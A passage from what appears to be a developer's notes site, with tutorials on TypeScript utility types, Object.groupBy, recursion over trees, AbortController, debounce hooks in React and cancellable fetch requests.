  ? P
  : never
// e.g.
Parameters<(s: string) => void>

/**
 * Constructs a tuple or array type from the types of a constructor function type. It produces a tuple type with all the parameter types (or the type never if Type is not a function).
 */
type ConstructorParameters<T extends new (...args: any) => any> =
  T extends new (...args: infer P) => any ? P : never
// e.g.
ConstructorParameters<ErrorConstructor>

/**
 * Obtain the return type of a function type
 */
type ReturnType<T extends (...args: any) => any> = T extends (
  ...args: any
) => infer R
  ? R
  : any
// e.g.
ReturnType<(s: string) => void>

/**
 * Obtain the return type of a constructor function type
 */
type InstanceType<T extends new (...args: any) => any> = T extends new (
  ...args: any
) => infer R
  ? R
  : any

/**
 * Convert string literal type to uppercase
 */
type Uppercase<S extends string> = intrinsic

/**
 * Convert string literal type to lowercase
 */
type Lowercase<S extends string> = intrinsic

/**
 * Convert first character of string literal type to uppercase
 */
type Capitalize<S extends string> = intrinsic

/**
 * Convert first character of string literal type to lowercase
 */
type Uncapitalize<S extends string> = intrinsic

/**
 * Marker for contextual 'this' type
 */
interface ThisType<T> {}

Custom types

`WithOptional`

Convert specified properties of T to be optional

type WithOptional<T, K extends keyof T> = Omit<T, K> & Partial<Pick<T, K>>

type NewType = WithOptional<OldInterface, 'date' | 'title'>

`KeyOfUnion`

Distributive conditional type

type KeyOfUnion<T> = T extends any ? keyof T : never

// usage
type Example = KeyOfUnion<A | B>

more info: https://twitter.com/mattpocockuk/status/1702634299873239144 & https://t.co/kmYldp7sQB

`Awaited`

Unwrap the type of a Promise (built-in since TS 4.5):

type Result = Awaited<Promise<string>> // string
type NestedResult = Awaited<Promise<Promise<number>>> // number

`NoInfer`

Prevent TypeScript from inferring a type from a specific position (built-in since TS 5.4):

function createStreetLight<C extends string>(colors: C[], defaultColor: NoInfer<C>) {
  // defaultColor must be one of the colors, but doesn't influence inference
}

createStreetLight(['red', 'yellow', 'green'], 'red') // ✅
createStreetLight(['red', 'yellow', 'green'], 'blue') // ❌

`satisfies`

Check that a value matches a type without widening (TS 4.9+):

const palette = {
  red: [255, 0, 0],
  green: '#00ff00',
} satisfies Record<string, string | number[]>

// palette.red is still number[], not string | number[]
palette.red.map((n) => n * 2) // ✅ works

Creating type definitions for npm packages

If an npm package does not provide types, it is advisable to add your own in a declaration file (.d.ts). Here is an example for the sum-float package.

// sum-float.d.ts
declare module 'sum-float' {
  export const SumFloat: (a: number, b: number) => number
  export const DecimalPart: (a: number) => number
}

Object.groupBy

Zander Martineau — Tue, 29 Sep 2026 00:00:00 GMT

Object.groupBy splits a list into groups. Your callback returns the group name for each item, and you get back an object with one array per group.

It's a static method on Object, not an array method, so it works with any iterable: arrays, Sets, Map values, generators. It's Baseline 2024: all current browsers and Node 21+.

Object.groupBy(items, (item, index) => groupKey)

Basic usage

const inventory = [
  { name: 'asparagus', type: 'vegetable', quantity: 5 },
  { name: 'banana', type: 'fruit', quantity: 0 },
  { name: 'goat', type: 'meat', quantity: 23 },
  { name: 'cherry', type: 'fruit', quantity: 5 },
]

const byType = Object.groupBy(inventory, (item) => item.type)
// {
//   vegetable: [{ name: 'asparagus', … }],
//   fruit: [{ name: 'banana', … }, { name: 'cherry', … }],
//   meat: [{ name: 'goat', … }],
// }

Destructure the groups you want:

const { fruit = [], vegetable = [] } = Object.groupBy(inventory, (item) => item.type)

Make up your own groups

The key doesn't have to be a field. Return anything you can work out from the item.

// by a range
const byStock = Object.groupBy(inventory, ({ quantity }) =>
  quantity === 0 ? 'soldOut' : quantity < 10 ? 'low' : 'ok',
)

// by month
const byMonth = Object.groupBy(posts, (post) => post.date.slice(0, 7)) // '2026-09'

// by first letter, for an A–Z index
const byLetter = Object.groupBy(people, (person) => person.name[0].toUpperCase())

Split into two lists

const { done = [], todo = [] } = Object.groupBy(tasks, (task) => (task.completed ? 'done' : 'todo'))

Return names, not true/false. Keys are always strings, so a boolean becomes 'true' and 'false'.

Group, then summarise

Turn the groups into rows with Object.entries:

const orders = [
  { id: 1, category: 'tech', price: 1200 },
  { id: 2, category: 'home', price: 40 },
  { id: 3, category: 'tech', price: 80 },
]

const summary = Object.entries(Object.groupBy(orders, (order) => order.category)).map(
  ([category, items]) => ({
    category,
    count: items.length,
    revenue: items.reduce((total, order) => total + order.price, 0),
  }),
)
// [
//   { category: 'tech', count: 2, revenue: 1280 },
//   { category: 'home', count: 1, revenue: 40 },
// ]

If you only need the counts, reduce is lighter, because it doesn't build the arrays:

const counts = orders.reduce((acc, order) => {
  acc[order.category] = (acc[order.category] ?? 0) + 1
  return acc
}, {})
// { tech: 2, home: 1 }

`Map.groupBy`

The same, but it returns a Map. Use it when the key isn't a string: an object, a number you want to keep as a number, or a date.

const alice = { name: 'Alice' }
const bob = { name: 'Bob' }

const tasks = [
  { title: 'Write tests', owner: alice },
  { title: 'Fix bug', owner: bob },
  { title: 'Deploy', owner: alice },
]

const byOwner = Map.groupBy(tasks, (task) => task.owner)
byOwner.get(alice) // [{ title: 'Write tests', … }, { title: 'Deploy', … }]

A Map also keeps the keys in the order they were first seen, and you can loop over it directly:

for (const [owner, ownerTasks] of byOwner) {
  console.log(owner.name, ownerTasks.length)
}

TypeScript

Needs "lib": ["ES2024"] (or ESNext) in tsconfig.json, and TypeScript 5.4+.

type Item = { name: string; type: 'fruit' | 'vegetable' | 'meat' }

const byType = Object.groupBy(inventory, (item) => item.type)
// Partial<Record<'fruit' | 'vegetable' | 'meat', Item[]>>

byType.fruit // Item[] | undefined

The result is Partial, because a group only exists if at least one item returned that key. Handle undefined:

const fruit = byType.fruit ?? []

In React

Group once, then render a heading per group:

function Contacts({ people }: { people: Person[] }) {
  const byLetter = Object.groupBy(people, (person) => person.name[0].toUpperCase())

  return Object.entries(byLetter).map(([letter, group = []]) => (
    <section key={letter} aria-labelledby={`letter-${letter}`}>
      <h2 id={`letter-${letter}`}>{letter}</h2>
      <ul>
        {group.map((person) => (
          <li key={person.id}>{person.name}</li>
        ))}
      </ul>
    </section>
  ))
}

Sort the list before you group it. Each group keeps the items in their original order.

Gotchas

Number-like keys are sorted. Objects put keys such as '2024' or '3' first, in number order, whatever order they were seen in. Use Map.groupBy if the order matters.
The result has no prototype. It's made with Object.create(null), so result.hasOwnProperty(…) and result.toString() don't exist. Use Object.hasOwn(result, key) or key in result. JSON.stringify and Object.entries work as normal.
The groups hold the same objects, not copies. Changing an item in a group changes it in the original list.
Keys become strings. undefined, null, numbers and booleans are all turned into strings. Return 'none' or similar for items without a value.

Older runtimes

The reduce version, if you can't use Object.groupBy:

const byType = inventory.reduce((groups, item) => {
  ;(groups[item.type] ??= []).push(item)
  return groups
}, {})

More in Array methods and JS data transformation.

Recursion

Zander Martineau — Tue, 29 Sep 2026 00:00:00 GMT

A recursive function calls itself. Each call works on a smaller piece of the problem, until the piece is so small that the answer is obvious.

Recursion fits data that is shaped like itself: a folder holds folders, a comment holds replies, a menu item holds a sub-menu, JSON holds JSON. For that kind of data, a recursive function is usually the shortest and clearest code. For a flat list, a loop or an array method is simpler.

The two parts

Every recursive function needs:

A base case: the input is small enough to answer directly. This stops the recursion.
A recursive case: split off a smaller piece and call the function on it.

function sum(numbers) {
  if (numbers.length === 0) return 0 // base case
  const [first, ...rest] = numbers
  return first + sum(rest) // recursive case: a smaller list
}

sum([1, 2, 3]) // 1 + sum([2, 3]) → 1 + 2 + sum([3]) → 1 + 2 + 3 + sum([]) → 6

No base case, or a recursive case that doesn't get smaller, means it never stops: RangeError: Maximum call stack size exceeded.

sum is a toy (use reduce). Recursion earns its place on trees.

The sample tree

A file system, used for the rest of the note. Every node has the same shape, and children holds more nodes:

const tree = {
  id: 'root',
  name: 'project',
  children: [
    {
      id: 'src',
      name: 'src',
      children: [
        { id: 'app', name: 'App.tsx', size: 1200, children: [] },
        {
          id: 'components',
          name: 'components',
          children: [
            { id: 'button', name: 'Button.tsx', size: 400, children: [] },
            { id: 'card', name: 'Card.tsx', size: 650, children: [] },
          ],
        },
      ],
    },
    { id: 'readme', name: 'README.md', size: 300, children: [] },
  ],
}

Walking a tree

Most tree functions have the same shape: do something with this node, then call yourself on each child, then combine the results.

Add up a value

function totalSize(node) {
  const own = node.size ?? 0
  return own + node.children.reduce((sum, child) => sum + totalSize(child), 0)
}

totalSize(tree) // → 2550

Find a node

Depth-first search (DFS): go all the way down one branch before you try the next.

function findNode(node, id) {
  if (node.id === id) return node
  for (const child of node.children) {
    const found = findNode(child, id)
    if (found) return found
  }
  return undefined
}

findNode(tree, 'card') // → { id: 'card', name: 'Card.tsx', … }

Get the path to a node (breadcrumbs)

function pathTo(node, id, path = []) {
  const here = [...path, node.name]
  if (node.id === id) return here
  for (const child of node.children) {
    const found = pathTo(child, id, here)
    if (found) return found
  }
  return undefined
}

pathTo(tree, 'card') // → ['project', 'src', 'components', 'Card.tsx']

Flatten a tree into a list

const flatten = (node, depth = 0) => [
  { ...node, depth },
  ...node.children.flatMap((child) => flatten(child, depth + 1)),
]

flatten(tree).map((n) => '  '.repeat(n.depth) + n.name).join('\n')
// project
//   src
//     App.tsx
//     components
//       Button.tsx
//       Card.tsx
//   README.md

The depth is useful for indenting, and a flat list is what a virtualised list needs.

Changing a tree without mutating it

In React state you must not edit the tree in place. Return a new tree instead.

Update one node

function updateNode(node, id, update) {
  if (node.id === id) return update(node)
  const children = node.children.map((child) => updateNode(child, id, update))
  const changed = children.some((child, i) => child !== node.children[i])
  return changed ? { ...node, children } : node // unchanged branches keep the same object
}

const renamed = updateNode(tree, 'readme', (node) => ({ ...node, name: 'README.txt' }))

Only the nodes on the path to the change are new. Every other branch is the same object as before, so memo and === checks can skip it.

Remove a node

function removeNode(node, id) {
  return {
    ...node,
    children: node.children.filter((child) => child.id !== id).map((child) => removeNode(child, id)),
  }
}

Filter a tree (search)

Keep a node if it matches or any of its children match, so the parent folders stay visible around each result.

function filterTree(node, matches) {
  const children = node.children.map((child) => filterTree(child, matches)).filter(Boolean)
  if (matches(node) || children.length > 0) return { ...node, children }
  return null
}

filterTree(tree, (node) => node.name.includes('Card'))
// project → src → components → Card.tsx

Flat list → tree

Databases and APIs often send a tree as a flat list, where each row has a parentId:

const rows = [
  { id: 1, parentId: null, text: 'Great post' },
  { id: 2, parentId: 1, text: 'Agreed' },
  { id: 3, parentId: 2, text: 'Me too' },
  { id: 4, parentId: null, text: 'Typo in para 2' },
]

The recursive way reads well, but it searches the whole list for every node, so it's O(n²):

const childrenOf = (parentId) =>
  rows.filter((row) => row.parentId === parentId).map((row) => ({ ...row, children: childrenOf(row.id) }))

const comments = childrenOf(null)

For big lists, don't recurse. Index every row by id in a Map, then attach each row to its parent in one loop. That's O(n):

function buildTree(rows) {
  const byId = new Map(rows.map((row) => [row.id, { ...row, children: [] }]))
  const roots = []
  for (const node of byId.values()) {
    const parent = byId.get(node.parentId)
    parent ? parent.children.push(node) : roots.push(node)
  }
  return roots
}

More on the Map trick in Reshaping data in JavaScript.

Recursion vs a loop

Any recursive function can be written as a loop with your own stack. Do that when the tree can be very deep, or when you need breadth-first order.

The call stack limit

Each call adds a frame to the call stack, and the stack has a limit. It's about 10,000 frames in Chrome and Node, more in other browsers, and fewer if each frame is big. A tree 50 levels deep is fine. A linked list with 100,000 items, handled one item per call, is not. JavaScript doesn't optimise tail calls (except in Safari), so you can't rely on that.

Depth-first with a stack

Same result as the recursive findNode, with no limit on depth:

function findNodeIterative(root, id) {
  const stack = [root]
  while (stack.length > 0) {
    const node = stack.pop()
    if (node.id === id) return node
    stack.push(...node.children.toReversed()) // reversed, so the first child is checked first
  }
  return undefined
}

Breadth-first with a queue

Breadth-first search (BFS) checks every node on one level before it goes down a level. Use it to find the nearest match, or to process a tree level by level. Instead of a stack, keep the current level in an array, and build the next level from its children:

function levels(root) {
  const result = []
  let level = [root]
  while (level.length > 0) {
    result.push(level.map((node) => node.name))
    level = level.flatMap((node) => node.children)
  }
  return result
}

levels(tree)
// [['project'], ['src', 'README.md'], ['App.tsx', 'components'], ['Button.tsx', 'Card.tsx']]

Which one to use

Use recursion when…	Use a loop when…
the data is a tree or nested JSON	the data is a flat list
the depth is small (menus, comments, folders)	the depth could be thousands
you want the code to mirror the data	you need breadth-first order
it's a React component tree	you need to pause, resume or cancel part-way

Built-ins that already recurse

Check for these before you write your own:

array.flat(Infinity) flattens any depth of nested arrays.
structuredClone(value) makes a deep copy, and handles circular references.
JSON.parse(text, reviver) and JSON.stringify(value, replacer) visit every nested value.
fs.readdir(dir, { recursive: true }) (Node 20+) lists every file in every subfolder.
element.querySelectorAll('…') searches the whole DOM subtree.

Memoisation: overlapping sub-problems

Some recursive functions solve the same sub-problem again and again. The classic is Fibonacci: fib(5) calls fib(3) twice, fib(2) three times, and so on. That's O(2ⁿ), see Big O notation.

Cache each answer the first time you work it out:

function fib(n, memo = new Map()) {
  if (n <= 1) return n
  if (memo.has(n)) return memo.get(n)
  const result = fib(n - 1, memo) + fib(n - 2, memo)
  memo.set(n, result)
  return result
}

fib(90) // instant; the naive version would take years

Now each n is computed once: O(n).

Generators: walk a tree lazily

A recursive generator yields nodes one at a time. yield* hands over to the recursive call. The caller can stop early, and no array of every node is built.

function* walk(node, depth = 0) {
  yield { node, depth }
  for (const child of node.children) yield* walk(child, depth + 1)
}

for (const { node, depth } of walk(tree)) {
  if (node.name.endsWith('.tsx')) console.log(depth, node.name)
}

// first file larger than 1 KB, and stop there
const big = walk(tree).find(({ node }) => node.size > 1000) // iterator helpers, Baseline 2025

Async recursion

await works inside a recursive function. For example, fetch every page of a paginated API:

async function fetchAll(url, results = []) {
  const res = await fetch(url)
  const { items, next } = await res.json()
  results.push(...items)
  return next ? fetchAll(next, results) : results
}

A while (url) loop does the same job with no depth limit. Prefer it when there could be thousands of pages.

Cycles: graphs aren't trees

In a tree, every node has one parent. In a graph (a social network, linked pages, dependencies) you can go round in a loop, and a naive recursive walk never stops. Keep a Set of the nodes you've already visited:

function reachable(graph, start, visited = new Set()) {
  if (visited.has(start)) return visited
  visited.add(start)
  for (const next of graph[start] ?? []) reachable(graph, next, visited)
  return visited
}

const graph = { a: ['b'], b: ['c'], c: ['a', 'd'], d: [] }
reachable(graph, 'a') // → Set {'a', 'b', 'c', 'd'}

Recursive React components

A component can render itself. That's the natural way to show a tree: each node renders its own children with the same component.

type Comment = { id: number; author: string; text: string; children: Comment[] }

function CommentThread({ comments }: { comments: Comment[] }) {
  return (
    <ul>
      {comments.map((comment) => (
        <li key={comment.id}>
          <p>
            <strong>{comment.author}</strong> {comment.text}
          </p>
          {comment.children.length > 0 && <CommentThread comments={comment.children} />}
        </li>
      ))}
    </ul>
  )
}

The base case is the empty children array: nothing more to render.

Collapsible tree with `<details>`

Each node owns its open/closed state, so there's nothing to track in a parent. The native <details> and <summary> elements give you the toggle, keyboard support and screen reader support for free:

type FileNode = { id: string; name: string; children: FileNode[] }

function FileTree({ node }: { node: FileNode }) {
  if (node.children.length === 0) return <li>{node.name}</li>

  return (
    <li>
      <details open>
        <summary>{node.name}</summary>
        <ul>
          {node.children.map((child) => (
            <FileTree key={child.id} node={child} />
          ))}
        </ul>
      </details>
    </li>
  )
}

// <ul><FileTree node={tree} /></ul>

For a full keyboard-driven tree widget (arrow keys between nodes), follow the ARIA tree view pattern. It's a lot more work, so only do it when you need it.

Pass the depth down

type MenuItem = { label: string; href: string; children?: MenuItem[] }

function Menu({ items, depth = 0 }: { items: MenuItem[]; depth?: number }) {
  return (
    <ul className={depth === 0 ? 'menu' : 'submenu'}>
      {items.map((item) => (
        <li key={item.href}>
          <a href={item.href}>{item.label}</a>
          {item.children && depth < 2 && <Menu items={item.children} depth={depth + 1} />}
        </li>
      ))}
    </ul>
  )
}

A depth limit (depth < 2) is a second base case. It keeps a bad API response from rendering 50 levels of menu.

Large trees

Every node is a component, so a tree with thousands of visible nodes is slow. flatten only the open nodes into a list with a depth, and render that list with a virtualiser (TanStack Virtual), indenting by depth.
Wrap the node component in memo so that changing one node doesn't re-render all the others. This works because updateNode above reuses every node it didn't change.

Recursive types in TypeScript

A type can refer to itself:

type TreeNode<T> = {
  value: T
  children: TreeNode<T>[]
}

type Json = string | number | boolean | null | Json[] | { [key: string]: Json }

Recursive utility types apply a change at every level:

type DeepPartial<T> = T extends object ? { [K in keyof T]?: DeepPartial<T[K]> } : T
type DeepReadonly<T> = T extends object ? { readonly [K in keyof T]: DeepReadonly<T[K]> } : T

type Settings = { theme: { colour: string; font: { size: number } } }
const patch: DeepPartial<Settings> = { theme: { font: { size: 16 } } } // everything optional

Very deep or complex recursive types can hit Type instantiation is excessively deep and possibly infinite. Simplify the type, or add a depth limit.

Common interview questions

All of these are "handle this item, recurse on the rest":

Flatten a nested array without flat().
Deep clone or deep equal two objects.
Sum the values of a nested object.
Build a tree from a flat list with parentId.
Render nested comments in React.
All permutations or subsets of an array.

// flatten without flat()
const flattenArray = (arr) =>
  arr.reduce((out, item) => out.concat(Array.isArray(item) ? flattenArray(item) : item), [])

flattenArray([1, [2, [3, [4]]]]) // → [1, 2, 3, 4]

// deep equal (plain objects, arrays and primitives)
function deepEqual(a, b) {
  if (a === b) return true
  if (typeof a !== 'object' || typeof b !== 'object' || a === null || b === null) return false
  if (Array.isArray(a) !== Array.isArray(b)) return false
  const keys = Object.keys(a)
  if (keys.length !== Object.keys(b).length) return false
  return keys.every((key) => Object.hasOwn(b, key) && deepEqual(a[key], b[key]))
}

deepEqual({ a: [1, { b: 2 }] }, { a: [1, { b: 2 }] }) // → true

Gotchas

Missing or unreachable base case: the stack overflows. Check that every recursive call gets closer to the base case.
Too deep: the stack runs out at about 10,000 frames (in Chrome). Use a loop with a stack for deep data.
Cycles: graphs and some object structures loop back on themselves. Track visited nodes in a Set.
Repeated work: if the same sub-problem comes up many times, memoise it.
Mutation: don't edit the tree in place when it's React state or shared data. Return new nodes, and reuse the unchanged ones.

AbortController

Zander Martineau — Mon, 28 Sep 2026 00:00:00 GMT

An AbortController is how you cancel async work in the browser (and Node). You keep the controller and call abort() on it. You pass its signal to the thing you might want to cancel.

const controller = new AbortController()

fetch(url, { signal: controller.signal })

controller.abort() // the fetch promise rejects with an AbortError

A controller is single-use. Once aborted it stays aborted, so make a new one for the next job.
One signal can be passed to many things. A single abort() cancels them all.
abort(reason) takes an optional reason. The promise rejects with that instead of the default AbortError.

More on fetch itself, including error handling: fetch.

Cancel a fetch

const controller = new AbortController()
cancelButton.addEventListener('click', () => controller.abort())

try {
  const res = await fetch('/api/report', { signal: controller.signal })
  render(await res.json())
} catch (error) {
  if ((error as Error).name === 'AbortError') return // cancelled on purpose
  throw error
}

Cancel the previous request

The classic race: the user types "re", then "react". If the "re" response arrives last, it overwrites the right results. Abort the old request before you start a new one.

let controller: AbortController | undefined

async function search(query: string) {
  controller?.abort()
  controller = new AbortController()

  try {
    const res = await fetch(`/api/search?q=${encodeURIComponent(query)}`, {
      signal: controller.signal,
    })
    renderResults(await res.json())
  } catch (error) {
    if ((error as Error).name !== 'AbortError') throw error
  }
}

Pair it with debounce so you send fewer requests in the first place.

import { debounce } from './debounce'

const debouncedSearch = debounce(search, 300)

input.addEventListener('input', (e) => {
  debouncedSearch((e.target as HTMLInputElement).value.trim())
})

They do different jobs, so you want both:

Debounce waits until typing pauses, so "r", "re", "rea"… don't each send a request.
Abort handles the request that is already in flight. If the user pauses, the request starts, and then they type again, the old request is cancelled before the new one starts.

Timeouts

You don't need a controller for a timeout. AbortSignal.timeout() makes a signal that aborts itself.

const res = await fetch(url, { signal: AbortSignal.timeout(5000) })
// rejects with a TimeoutError if it takes longer than 5s

Need a timeout and a cancel button? Combine signals with AbortSignal.any(). The first one to fire wins.

const controller = new AbortController()

const res = await fetch(url, {
  signal: AbortSignal.any([controller.signal, AbortSignal.timeout(5000)]),
})

Remove event listeners

Pass the same signal to many addEventListener calls. One abort() removes them all, and you don't need to keep a reference to each handler.

const controller = new AbortController()
const { signal } = controller

window.addEventListener('resize', onResize, { signal })
window.addEventListener('scroll', onScroll, { passive: true, signal })
document.addEventListener('keydown', onKeyDown, { signal })

// later, e.g. when a modal closes
controller.abort()

Make your own functions cancellable

Accept a signal like fetch does. Check it between steps.

async function processAll(items: Item[], { signal }: { signal?: AbortSignal } = {}) {
  for (const item of items) {
    signal?.throwIfAborted() // throws the abort reason if aborted
    await processItem(item)
  }
}

Wrap a callback-based API by listening for the abort event.

const wait = (ms: number, signal?: AbortSignal) =>
  new Promise<void>((resolve, reject) => {
    signal?.throwIfAborted()
    const id = setTimeout(resolve, ms)
    signal?.addEventListener(
      'abort',
      () => {
        clearTimeout(id)
        reject(signal.reason)
      },
      { once: true },
    )
  })

React

Clean up in `useEffect`

Abort in the cleanup function. The request is cancelled when the component unmounts or when id changes, so an old response can never set state.

function User({ id }: { id: string }) {
  const [user, setUser] = useState<User | null>(null)

  useEffect(() => {
    const controller = new AbortController()

    fetch(`/api/users/${id}`, { signal: controller.signal })
      .then((res) => res.json())
      .then(setUser)
      .catch((error) => {
        if (error.name !== 'AbortError') console.error(error)
      })

    return () => controller.abort()
  }, [id])

  return user ? <h1>{user.name}</h1> : <p>Loading…</p>
}

The same pattern cleans up event listeners.

useEffect(() => {
  const controller = new AbortController()
  window.addEventListener('keydown', onKeyDown, { signal: controller.signal })
  window.addEventListener('resize', onResize, { signal: controller.signal })
  return () => controller.abort()
}, [])

React Query

React Query makes the controller for you. It passes a signal to your queryFn. Hand it to fetch, and React Query aborts the request when:

the query key changes (for example, a new search term)
the component unmounts and nothing else uses the query
you call queryClient.cancelQueries()

const { data } = useQuery({
  queryKey: ['users', id],
  queryFn: async ({ signal }) => {
    const res = await fetch(`/api/users/${id}`, { signal })
    if (!res.ok) throw new Error('Failed to load user')
    return res.json()
  },
})

If you don't pass signal to fetch, React Query can't cancel the request. It keeps running to the end.

Debounce

Zander Martineau — Mon, 28 Sep 2026 00:00:00 GMT

A debounced function waits until calls stop for delay ms, then runs once with the last arguments. Every new call resets the timer.

Use it when you only care about the final value: search boxes, form validation, autosave, "resize finished".

Need regular updates while something is happening instead? Use throttle.

JavaScript

const debounce = (fn, delay) => {
  let id
  return (...args) => {
    clearTimeout(id)
    id = setTimeout(() => fn(...args), delay)
  }
}

TypeScript

export const debounce = <Args extends unknown[]>(
  fn: (...args: Args) => void,
  delay: number,
) => {
  let id: ReturnType<typeof setTimeout> | undefined
  return (...args: Args) => {
    clearTimeout(id)
    id = setTimeout(() => fn(...args), delay)
  }
}

Args is inferred from fn, so the debounced function takes exactly the same arguments.

No fn.apply(this, args) here. Arrow functions don't have their own this, and you rarely need it — pass the element in as an argument instead (e.target).

Usage

Search as you type

Fire one request after the user stops typing, and abort the previous one if it is still in flight (see AbortController).

const input = document.querySelector<HTMLInputElement>('#search')!
let controller: AbortController | undefined

const search = debounce(async (query: string) => {
  controller?.abort()
  controller = new AbortController()

  const res = await fetch(`/api/search?q=${encodeURIComponent(query)}`, {
    signal: controller.signal,
  })
  renderResults(await res.json())
}, 300)

input.addEventListener('input', (e) => {
  search((e.target as HTMLInputElement).value.trim())
})

Validate a field when typing pauses

const email = document.querySelector<HTMLInputElement>('#email')!

const validate = debounce(() => {
  email.setCustomValidity(email.validity.typeMismatch ? 'Enter a valid email' : '')
  email.reportValidity()
}, 500)

email.addEventListener('input', validate)

Do expensive work once resizing ends

const relayout = debounce(() => {
  chart.resize(container.clientWidth, container.clientHeight)
}, 150)

window.addEventListener('resize', relayout)

React hooks

`useDebouncedValue`

Debounce a value. The input stays instant; only the returned value lags behind. This is the one you want most of the time.

import { useEffect, useState } from 'react'

export function useDebouncedValue<T>(value: T, delay = 300): T {
  const [debounced, setDebounced] = useState(value)

  useEffect(() => {
    const id = setTimeout(() => setDebounced(value), delay)
    return () => clearTimeout(id)
  }, [value, delay])

  return debounced
}

`useDebouncedCallback`

Debounce a function. The returned function keeps the same identity between renders but always calls the latest fn, so it never sees stale props or state.

import { useLayoutEffect, useMemo, useRef } from 'react'
import { debounce } from './debounce'

export function useDebouncedCallback<Args extends unknown[]>(
  fn: (...args: Args) => void,
  delay = 300,
) {
  const fnRef = useRef(fn)
  useLayoutEffect(() => {
    fnRef.current = fn
  })

  // a call still pending at unmount still runs, so an autosave is never lost
  return useMemo(() => debounce((...args: Args) => fnRef.current(...args), delay), [delay])
}

Don't write useCallback(debounce(fn, 300), []) or debounce(fn) straight in the component body. A new debounced function is created on every render, so each one has its own timer and nothing is debounced.

With React Query

Search as you type

Put the debounced value in the queryKey. The input is bound to the raw state, so typing never lags.

import { keepPreviousData, useQuery } from '@tanstack/react-query'
import { useState } from 'react'
import { useDebouncedValue } from './useDebouncedValue'

type User = { id: string; name: string }

function UserSearch() {
  const [search, setSearch] = useState('')
  const query = useDebouncedValue(search.trim(), 300)

  const { data = [], isFetching } = useQuery({
    queryKey: ['users', 'search', query],
    queryFn: async ({ signal }): Promise<User[]> => {
      const res = await fetch(`/api/users?q=${encodeURIComponent(query)}`, { signal })
      if (!res.ok) throw new Error('Search failed')
      return res.json()
    },
    enabled: query.length >= 2,
    placeholderData: keepPreviousData,
    staleTime: 60_000,
  })

  return (
    <>
      <input
        type="search"
        value={search}
        onChange={(e) => setSearch(e.target.value)}
        aria-busy={isFetching}
      />
      <ul>
        {data.map((user) => (
          <li key={user.id}>{user.name}</li>
        ))}
      </ul>
    </>
  )
}

Why this works well:

One request per pause, not one per keystroke.
Every term is cached. Type "zan", then "zander", then back to "zan": the last one comes from the cache.
signal — when the key changes, React Query aborts the old request, so a slow response can't overwrite a newer one. See AbortController.
keepPreviousData keeps the old results on screen while the new ones load, so the list doesn't flash empty.
enabled skips the query until there are at least two characters.

Filters in the URL

Same idea, but the debounced value drives the URL and the query reads from the URL. Shareable, and the back button works.

function ProductFilters() {
  const [searchParams, setSearchParams] = useSearchParams()
  const [text, setText] = useState(searchParams.get('q') ?? '')
  const q = useDebouncedValue(text, 400)

  useEffect(() => {
    setSearchParams((params) => {
      q ? params.set('q', q) : params.delete('q')
      return params
    })
  }, [q, setSearchParams])

  const products = useQuery({
    queryKey: ['products', searchParams.toString()],
    queryFn: ({ signal }) => fetchProducts(searchParams, signal),
    placeholderData: keepPreviousData,
  })

  // ...
}

Autosave with `useMutation`

Debounce the mutation, not the input. The textarea updates on every keystroke; the save happens one second after typing stops.

import { useMutation, useQueryClient } from '@tanstack/react-query'

function NoteEditor({ note }: { note: { id: string; body: string } }) {
  const queryClient = useQueryClient()
  const [body, setBody] = useState(note.body)

  const { mutate, isPending, isError } = useMutation({
    mutationFn: (body: string) =>
      fetch(`/api/notes/${note.id}`, {
        method: 'PATCH',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ body }),
      }),
    onSuccess: () => queryClient.invalidateQueries({ queryKey: ['notes', note.id] }),
  })

  const save = useDebouncedCallback(mutate, 1000)

  return (
    <>
      <textarea
        value={body}
        onChange={(e) => {
          setBody(e.target.value)
          save(e.target.value)
        }}
      />
      <small>{isPending ? 'Saving…' : isError ? 'Save failed' : 'Saved'}</small>
    </>
  )
}

The hook doesn't cancel the timer on unmount, so if the user navigates away mid-typing, the last edit still saves.

Fetch

Zander Martineau — Mon, 28 Sep 2026 00:00:00 GMT

Usage synopsis (use the argument links to find out more):

fetch(url, options)

GET

const response = await fetch(url, { headers: {} })
const data = await response.json()

if (!data) {
  throw new Error('No data')
}

return data

POST

Using async/await:

const response = await fetch(url, {
  method: 'POST',
  body: JSON.stringify(data),
  headers: {
    'Content-Type': 'application/json',
  },
  credentials: 'same-origin',
})

const data = await response.json()

if (!data) {
  throw new Error('No data')
}

return data

Using then():

const response = fetch(url, {
  method: 'POST',
  body: JSON.stringify(data),
  headers: {
    'Content-Type': 'application/json',
  },
  credentials: 'same-origin',
}).then(
  (response) => {
    response.status //=> number 100–599
    response.statusText //=> String
    response.headers //=> Headers
    response.url //=> String

    return response.json()
  },
  function (error) {
    error.message //=> String
  }
)

Timeout / cancellation with `AbortSignal`

Fetch has no timeout or cancel() of its own - cancellation is handled by the more general AbortController/AbortSignal API. The idea: an AbortController is the thing you hold on to and call .abort() on; its .signal is the read-only token you hand to the async operation you might want to cancel. When the controller aborts, anything holding that signal stops and the pending promise rejects.

More patterns (event listeners, React, React Query) in the AbortController note.

Cancelling a request manually

Pass controller.signal as the signal option, then call controller.abort() whenever you want to bail - user clicked cancel, component unmounted, whatever:

const controller = new AbortController()

cancelButton.addEventListener('click', () => {
  controller.abort()
})

try {
  const response = await fetch(url, { signal: controller.signal })
  const data = await response.json()
} catch (error) {
  if (error.name === 'AbortError') {
    // cancelled on purpose - usually nothing to do
  } else {
    throw error
  }
}

A few things worth knowing:

One controller can cancel multiple fetches - pass the same signal to each and a single abort() kills them all.
A controller is single-use. Once aborted, it stays aborted - make a new one for the next request (the classic "cancel the previous search request" pattern).
abort() takes an optional reason: controller.abort(new Error('user cancelled')) - the promise rejects with that instead of the default AbortError.
Aborting also cancels a body read in progress (response.json() etc), not just the initial connection.

Timeouts with `AbortSignal.timeout()`

For the common "give up after n ms" case you don't need a controller at all - AbortSignal.timeout(ms) makes a signal that aborts itself:

const response = await fetch(url, {
  signal: AbortSignal.timeout(5000),
})
// throws a TimeoutError DOMException if it takes longer than 5s

Note the different error names: a timeout rejects with a TimeoutError, a manual abort() rejects with an AbortError. Handy for distinguishing "too slow" from "cancelled on purpose":

try {
  const response = await fetch(url, { signal: AbortSignal.timeout(5000) })
} catch (error) {
  if (error.name === 'TimeoutError') {
    // took too long
  } else if (error.name === 'AbortError') {
    // deliberately cancelled
  } else {
    throw error // network failure etc
  }
}

Combining signals with `AbortSignal.any()`

Want both a timeout and a manual cancel button? AbortSignal.any() (Baseline 2024) merges signals - the request aborts when the first one fires:

const controller = new AbortController()

const response = await fetch(url, {
  signal: AbortSignal.any([controller.signal, AbortSignal.timeout(5000)]),
})

The reusable timeout-fetch helper

